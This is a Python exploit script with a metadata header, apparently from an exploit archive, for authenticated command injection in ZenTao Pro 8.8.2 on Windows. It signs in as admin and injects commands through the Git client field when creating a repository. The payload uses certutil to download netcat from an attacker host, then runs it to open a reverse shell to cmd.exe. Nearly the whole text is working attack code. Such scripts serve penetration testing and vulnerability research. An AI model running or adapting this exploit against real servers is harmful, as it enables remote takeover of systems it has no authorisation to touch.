ZenTao Pro 8.8.2 Command Injection

`# Exploit Title: ZenTao Pro 8.8.2 - Command Injection  
# Date: 2020-07-01  
# Exploit Author: Daniel Monzón & Melvin Boers  
# Vendor Homepage: https://www.zentao.pm/  
# Version: 8.8.2  
# Tested on: Windows 10 / WampServer  
# Other versions like pro or enterprise edition could be affected aswell  
# Netcat is needed to use this exploit  
  
  
import requests  
import hashlib  
import urllib.parse  
  
  
host = 'http://192.168.223.132'  
username = 'admin'  
password = 'Test123!@#'  
name = 'Test2'  
command = 'certutil.exe+-urlcache+-f+-split+http%3A%2F%2F192.168.223.131%2Fnc.exe+C%3A%5Cbad.exe+%26%26'  
command2 = 'C:\\bad.exe 192.168.223.131 9001 -e cmd.exe &&'  
git_path = 'C%3A%5CProgramData'  
  
  
  
x = requests.session() # Create a session, as needed because we need admin rights.  
  
  
  
def sign_in(url, username, password):  
password = hashlib.md5(password.encode('utf-8')).hexdigest() # We need to md5 encode the password in order to sign in  
proxy = {'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080'} # Just for debugging phase  
credentials = {'account' : username, 'password' : password} # The credentials we need  
path = url + '/zentao/user-login.html' # URL + path  
x.post(path, data=credentials, proxies=proxy, verify=False) # Send the post request to sign in  
return '[*] We are signed in!'  
  
  
def go_to_repo(url):  
path = url + '/zentao/repo-browse.html'  
x.get(path, verify=False)  
  
print('[*] Getting to repo path')  
  
  
  
def create_repo(url, name, command):  
headers = {'Accept':'application/json, text/javascript, */*; q=0.01',  
'Accept-Encoding':'gzip, deflate',  
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',  
'X-Requested-With': 'XMLHttpRequest',   
'Origin':'http://192.168.223.132',  
'Referer':'http://192.168.223.132/pro/repo-create.html',   
'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0',  
'Accept-Language':'en-US,en;q=0.5'}  
  
cookies = {'ajax_lastNext':'on',  
'windowWidth':'1846',  
'windowHeight':'790'}  
  
path = url + '/zentao/repo-create.html'  
parameters = 'SCM=Git&name=' + name + '&path=' + git_path + '&encoding=utf-8&client=' + command  
x.post(path, data=parameters, headers=headers, cookies=cookies, verify=False)  
  
print('[*] Creating the repo')  
  
  
def get_shell(url, name, command):  
headers = {'Accept':'application/json, text/javascript, */*; q=0.01',  
'Accept-Encoding':'gzip, deflate',  
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',  
'X-Requested-With': 'XMLHttpRequest',   
'Origin':'http://192.168.223.132',  
'Referer':'http://192.168.223.132/pro/repo-create.html',   
'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0',  
'Accept-Language':'en-US,en;q=0.5'}  
  
cookies = {'ajax_lastNext':'on',  
'windowWidth':'1846',  
'windowHeight':'790'}  
  
path = url + '/zentao/repo-create.html'  
parameters = 'SCM=Git&name=' + name + '&path=' + git_path + '&encoding=utf-8&client=' + command2  
x.post(path, data=parameters, headers=headers, cookies=cookies, verify=False)  
  
print('[*] Check your netcat listener!')  
  
  
def main():  
switch = True  
  
if switch:  
sign_in(host, username, password)  
if switch:  
go_to_repo(host)  
if switch:  
create_repo(host, name, command)  
if switch:  
get_shell(host, name, command2)  
switch = False  
  
  
if __name__ == "__main__":  
main()  
`